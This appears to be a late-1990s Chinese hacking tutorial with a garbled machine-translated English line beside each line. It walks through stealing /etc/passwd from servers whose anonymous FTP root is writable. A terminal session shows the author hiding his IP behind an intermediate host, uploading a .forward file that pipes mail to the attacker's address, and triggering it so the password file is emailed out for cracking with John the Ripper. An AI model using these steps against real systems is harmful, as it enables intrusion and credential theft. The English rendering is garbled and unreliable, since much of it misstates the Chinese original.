Love-gone 著 Love-gone forward
[前言] [Introduction]
对於著作这份文章的目的不是在於教育.因为个人觉得台湾的网路虽然已经有所发展了...但是对於网路安全的重要性却是漠不关心..或者是没有足够的知识....这是相当危险的一个现象..就算是大专院校.政府机构.公司行号...甚至是网路业者.ISP对於网路安全和系统管理的正确观念和态度实在是相当缺乏...所以说不定在往后的日子,只要一cp和一数据机,就可以让整个台湾网路崩溃....甚至是引起经济危机!!就像是一个小孩子拿著一把枪在路上逛一样...Too Bad!!所以我写这篇文章纯粹是为了台湾网路安全而写的.不希望有人因为这篇文章而去做违法的事情~~尤其是破坏别人的系统或是档案!!当然啦~如果有人因此做了违法的事情,本人概不负责!!!"水能载舟也覆舟"....只是告诉你骇客是如何入侵你的系统.好像说要做F&Q..如果位对於网路系统安全有问题的可以写信来问我!!当然我也不是GOD不是说每一个问题我一定会~~但是我会尽力回答每一个人的问题,不会说不知道就假装没看到这个问题,ok? The purpose of this article for the book lies in education not because personally feel that although Taiwan's network has been developed ... but for the importance of network security is indifferent .. or do not have enough knowledge. ... This is a very dangerous phenomenon .. even universities Government agencies.'s line number ... even the Internet industry. ISP network security and systems management for the correct concept and attitude is really quite So maybe the lack of ... in the days ahead , as long as a cp and a modem, you can collapse the entire network in Taiwan caused by the economic crisis .... even!! like a child holding a a gun on the road visiting the same ... Too Bad!! So I wrote this article is purely written for the network security of Taiwan. do not want people to do because of this article and illegal things ~ ~ especially the destruction of someone else's system or files!! Of course - if someone is doing illegal things, I am not responsible!!! "water boat capsize ".... also just tell you how hackers are invading your system like that to do F & Q.. If the bit for network security problems can write to ask me!! of course not to say that I am not GOD every problem I will ~ ~ but I will try to answer every people's problems, will not know you pretended not to see this issue, ok?
[主题] [Theme]
匿名FTP的漏洞(Anonymous FTP) Anonymous FTP vulnerabilities (Anonymous FTP)
[困难度] [Difficulty]
普通 General
[说明] [Help]
目前有很多的主机都有提供匿名FTP的服务,而方便和安全性却是鱼与熊掌不能两得的!!就像我以前说的,现在的系统管理员大多数都是缺少专业观念的!!!对於FTP也是一样,很多系统管理员都为了避免麻烦就用系统的预设设定来提供FTP这个服务.而anonymous ftp却是有许多漏洞须要我们去探讨的. There are a lot of hosts have to provide anonymous FTP service, and convenience and safety of fish and bear's paw is obtained can not be two!! As I said before, most of the current lack of professional system administrators the concept of !!! for FTP is the same, many system administrators to avoid trouble with the system's default settings to provide the service FTP, while anonymous ftp is there are many gaps that we need to explore.
哇~~今天说话的口气怎麽变得好专业阿!! Wow ~ ~ the tone of talk today how to become a good professional Ah!!
[开始] [Start]
今天就先说明一下湾目前anonymous ftp最常犯的错误!然而这些错误却常常是系统安全的大漏洞. Explain today on the first Bay anonymous ftp at present the most common mistakes! However, these errors are often a big security flaw.
一开始先说明怎麽把整个/etc/passwd抓回来.再说明如何任意的不用密码就能进入系统. The beginning of the first shows how the entire / etc / passwd caught. And then how you can enter any of the system without a password.
如果ftp的根目录是可以写入的或是可以执行程式.那你就可以把系统的/etc/passwd给抓回来了!!方法就是先做一个传送档.forward,然 ftp到主机上用anonymous进入.把你做的.forward 上传到它的根目录下.确定上传完毕就可以离开了!在寄一封e-mail给那个主机的anonymous的帐号..大多帐号是ftp!然你就可以去收收你的信箱了..什麽还不懂阿?意思就是说/etc/passwd已经传到你的信箱了啦!赶快存好,拿约翰出来跑路吧!! If the ftp root directory can be written or you can run the program. Then you can put the system's / etc / passwd to catch back!! Way to do a transfer file. Forward, then ftp to the host with anonymous access. you do. forward uploaded to its root directory. determine uploaded can leave! in to send an e-mail to that host most of the anonymous account .. account is ftp! then you can go and collecting your mail still do not understand what the .. A? meaning that / etc / passwd has reached the mailbox of your friends! quickly deposit well, John out on foot to get it!!
其方法说明如下: The methods are as follows:
SunOS 5.6 SunOS 5.6
login: lovegone login: lovegone
Password: Password:
Last login: Sat May 16 19:07:41 from 11.22.203.122 Last login: Sat May 16 19:07:41 from 11.22.203.122
tcsh: getwd: Cannot open directory "../" (Permission denied) tcsh: getwd: Cannot open directory "../" (Permission denied)
tcsh: Trying to start from "/home/judge4" tcsh: Trying to start from "/ home/judge4"
Sun Microsystems Inc. SunOS 5.6 Generic August 1997 Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Copyright by Andrew Chen 98/01/07 Copyright by Andrew Chen 98/01/07
You have new mail. You have new mail.
# #
(嘿嘿..先连到我的中间伺服器! 有人问说[一定要先有一个主机来当中间伺服器才能hack别人的主机吗?].当然不是这个意思啦!先连上中间伺服器只是要用来掩饰自己的ip嘛!而且可以利用中间伺服器来使用Net-Man2所说的那些"中间动作"阿!!所以中间伺服器不是说一定要用,但是却是很重要喔..) (Hey .. I am in the middle of the first connected to the server! Was asked, [we must first have a host to the intermediate server to hack someone else's host?] Of course not mean it! First server is connected to the middle be used to cover up their own ip it! and can use the intermediate server to use Net-Man2 said that "the middle movement," Ah!! so he does not use the intermediate server, but it is very important Oh ..)
# finger @www.fuck.com.tw # Finger@www.fuck.com.tw
[cc.fuck.com.tw] [Cc.fuck.com.tw]
Login Name TTY Idle When Where Login Name TTY Idle When Where
root Super-User console 10: Tue 09:05 :0 root Super-User console 10: Tue 09:05: 0
(没人在家...真好) (No one at home ... nice)
# ftp www.fuck.com.tw # Ftp www.fuck.com.tw
Connected to cc.fuck.com.tw. Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready. 220 cc FTP server (Version wu-2.4 (1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名进去就好了) Name (www.fuck.com.tw:lovegone): anonymous (or ftp, just like the first go anonymously)
331 Guest login ok, send your complete e-mail address as password. 331 Guest login ok, send your complete e-mail address as password.
Password: Password:
230- 230 -
230- ###### ##### ##### 230 - ###### ##### #####
230- # # # # 230 - # # # #
230- ##### # # # 230 - ##### # # #
230- # # ##### 230 - # # #####
230- # # # 230 - # # #
230- # # # 230 - # # #
230- 230 -
230- **** 欢迎到fuck烂公司**** 230 - **** **** Welcome to fuck bad company
230- 230 -
230- IE40 : pub/ie40 : 正式版.非抢鲜版 230 - IE40: pub/ie40: the official version. Non-pre-release
230- pub/ie40zip: ie40 zip. 230 - pub/ie40zip: ie40 zip.
230- 230 -
230 Guest login ok, access restrictions apply. 230 Guest login ok, access restrictions apply.
Remote system type is UNIX. Remote system type is UNIX.
Using binary mode to transfer files. Using binary mode to transfer files.
ftp> ftp>
(不愧是fuck烂公司.连ftp也都是wu-2.4的..漏洞大的"狠") (Indeed the fuck bad company. Even ftp are also wu-2.4 .. the holes of the "ruthless")
ftp> pwd ftp> pwd
257 "/" is current directory. 257 "/" is current directory.
(看一下自己在那,因为有些ftp会一开始就在帐号的工作目录下.我们要确保是在根目录下!如果不是在根目录下的人就用cd ..就可以到根目录了) (Look at yourself in that , because some ftp will start in the account of the working directory. We want to ensure that there is in the root directory! If not in the root directory with cd .. people can go to the root directory of the )
ftp> ls ftp> ls
(看根目录的设定) (See the root directory of the set)
200 PORT command successful. 200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls. 150 Opening ASCII mode data connection for / bin / ls.
total 18 total 18
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 . drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997.
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 .. drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 ..
lrwxrwxrwx 1 fuck Taiwan 7 Jun 17 1997 bin -> usr/bin lrwxrwxrwx 1 fuck Taiwan 7 Jun 17 1997 bin -> usr / bin
dr-xr-xr-x 2 fuck Taiwan 512 May 31 1996 dev dr-xr-xr-x 2 fuck Taiwan 512 May 31 1996 dev
d--x--x--x 2 fuck Taiwan 512 May 31 1996 etc d - x - x - x 2 fuck Taiwan 512 May 31 1996 etc
dr-xr-xr-x 15 ftp Taiwan 512 Feb 13 03:40 pub dr-xr-xr-x 15 ftp Taiwan 512 Feb 13 03:40 pub
drwxr-xr-x 2 ftp Taiwan 512 Apr 13 05:59 upload drwxr-xr-x 2 ftp Taiwan 512 Apr 13 05:59 upload
drwxr-xr-x 5 fuck Taiwan 512 May 31 1996 usr drwxr-xr-x 5 fuck Taiwan 512 May 31 1996 usr
-rw-r--r-- 1 fuck Taiwan 488 Oct 8 1997 welcome.msg -Rw-r - r - 1 fuck Taiwan 488 Oct 8 1997 welcome.msg
226 Transfer complete. 226 Transfer complete.
("狠"好!根目录是drwxr-xr-x 可以执行程式.赶快去做一个.forward吧!!!) ("Hard" Good! Root directory is drwxr-xr-x can run the program. A hurry to do. Forward it!!!)
ftp> bye ftp> bye
Goodbye! Goodbye!
# echo "|/bin/mail Lovegone@ms7.accmail.com.tw" > shit # Echo "| / bin / mail Lovegone@ms7.accmail.com.tw"> shit
(用echo和输出导向就可以了..) (With echo and output-oriented on it ..)
# ls -la # Ls-la
total 26 total 26
drwxr-xr-x 4 lovegone users 1024 May 14 13:56 ./ drwxr-xr-x 4 lovegone users 1024 May 14 13:56. /
drwxr-xr-x 47 root root 1024 Nov 26 14:08 ../ drwxr-xr-x 47 root root 1024 Nov 26 14:08 .. /
-rw-r--r-- 1 lovegone users 2217 May 14 13:56 .bash_history -Rw-r - r - 1 lovegone users 2217 May 14 13:56. Bash_history
-rw-r--r-- 1 lovegone users 164 Jun 10 1996 .kermrc -Rw-r - r - 1 lovegone users 164 Jun 10 1996. Kermrc
-rw-r--r-- 1 lovegone users 34 Jun 7 1993 .less -Rw-r - r - 1 lovegone users 34 Jun 7 1993. Less
-rw-r--r-- 1 lovegone users 114 Nov 24 1993 .lessrc -Rw-r - r - 1 lovegone users 114 Nov 24 1993. Lessrc
drwxr-xr-x 2 lovegone users 1024 Jun 10 1996 .term/ drwxr-xr-x 2 lovegone users 1024 Jun 10 1996. term /
-rw-rw-r-- 1 lovegone users 6116 May 7 1997 m-2.gif -Rw-rw-r - 1 lovegone users 6116 May 7 1997 m-2.gif
-rw------- 1 lovegone users 9382 May 14 13:49 mbox -Rw ------- 1 lovegone users 9382 May 14 13:49 mbox
drwxr-xr-x 8 lovegone users 1024 Jul 28 1997 public_html/ drwxr-xr-x 8 lovegone users 1024 Jul 28 1997 public_html /
-rw-r--r-- 1 lovegonw users 8 Jul 5 1998 shit -Rw-r - r - 1 lovegonw users 8 Jul 5 1998 shit
(ok了!!接下来就是把shit上传到www.fuck.com.tw上当.forward) (Ok the!! The next step is to upload shit to www.fuck.com.tw fooled. Forward)
# ftp www.fuck.com.tw # Ftp www.fuck.com.tw
Connected to cc.fuck.com.tw. Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready. 220 cc FTP server (Version wu-2.4 (1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名进去就好了) Name (www.fuck.com.tw:lovegone): anonymous (or ftp, just like the first go anonymously)
331 Guest login ok, send your complete e-mail address as password. 331 Guest login ok, send your complete e-mail address as password.
Password: Password:
230- 230 -
230- ###### ##### ##### 230 - ###### ##### #####
230- # # # # 230 - # # # #
230- ##### # # # 230 - ##### # # #
230- # # ##### 230 - # # #####
230- # # # 230 - # # #
230- # # # 230 - # # #
230- 230 -
230- **** 欢迎到fuck烂公司**** 230 - **** **** Welcome to fuck bad company
230- 230 -
230- IE40 : pub/ie40 : 正式版.非抢鲜版 230 - IE40: pub/ie40: the official version. Non-pre-release
230- pub/ie40zip: ie40 zip. 230 - pub/ie40zip: ie40 zip.
230- 230 -
230 Guest login ok, access restrictions apply. 230 Guest login ok, access restrictions apply.
Remote system type is UNIX. Remote system type is UNIX.
Using binary mode to transfer files. Using binary mode to transfer files.
ftp> put shit .forward ftp> put shit. forward
(上传记得要改成.forward才行,别在用shit) (Remember to change the upload. Forward the job, not in the use of shit)
200 PORT command successful. 200 PORT command successful.
226 Transfer complete. 226 Transfer complete.
ftp> bye ftp> bye
Goodbye! Goodbye!
(寄一封信给anonymous这个帐号..然去收收你的信箱吧!) (Send a letter to the anonymous account .. then this collection to collect your mail now!)
[Love-gone的话] [Love-gone words]
想不到竟然只说了利用.forward来传/etc/passwd的方法!至於任意进出系统而不用密码的方法就只好等下次再说了...别说我又偷懒了! Even think of using only said. Forward to pass / etc / passwd way! As arbitrary and out of the way the system without the password had to say so next time I had ... not to mention lazy!
最近都没有继续的写文章了,必竟hack只是兴趣而已!而生活中却有很多事要做..好累人:-( Recently did not continue to write articles, hack only interested in it after all! And there are many things to do in life .. so tired of people :-(
虽然hack只是兴趣,但是love-gone却是很认真的哟!! love-gone希望以后能够从事跟电脑相关的工作,但是台湾的填鸭式教育却让love-gone很吃力:-( While the hack is only interested in, but love-gone is a very serious yo!! Love-gone hope to engage with computer-related work, but Taiwan's spoon allows the love-gone very difficult :-(
希望love-gone还是能有空来帮喜欢hack的朋友写文章或回答问题:-) Hope love-gone can still hack free like a friend to help write articles or answer questions :-)
[感言] [Reflections]
还是老话一句...系统漏洞大都都是人为的疏失!!这是很重要的一点,希望是系统管理员的读者看到这文章能有所改进. Vulnerabilities or an old one ... most are man-made negligence!! This is a very important point, hope is the system administrator's readers see this article can be improved.
Love-gone的E-mail信箱: lovegone@ms7.accmail.com.tw Love-gone's E-mail box: lovegone@ms7.accmail.com.tw
Love-gone的ICQ#: 12294548 Love-gone's ICQ #: 12294548
这份文章的著作权是属於Love-gone所有.禁止任何人未经许可擅自破坏其文章的完整性. This article copyright belongs to Love-gone all. Prohibits any person from unauthorized destruction of the integrity of the article.
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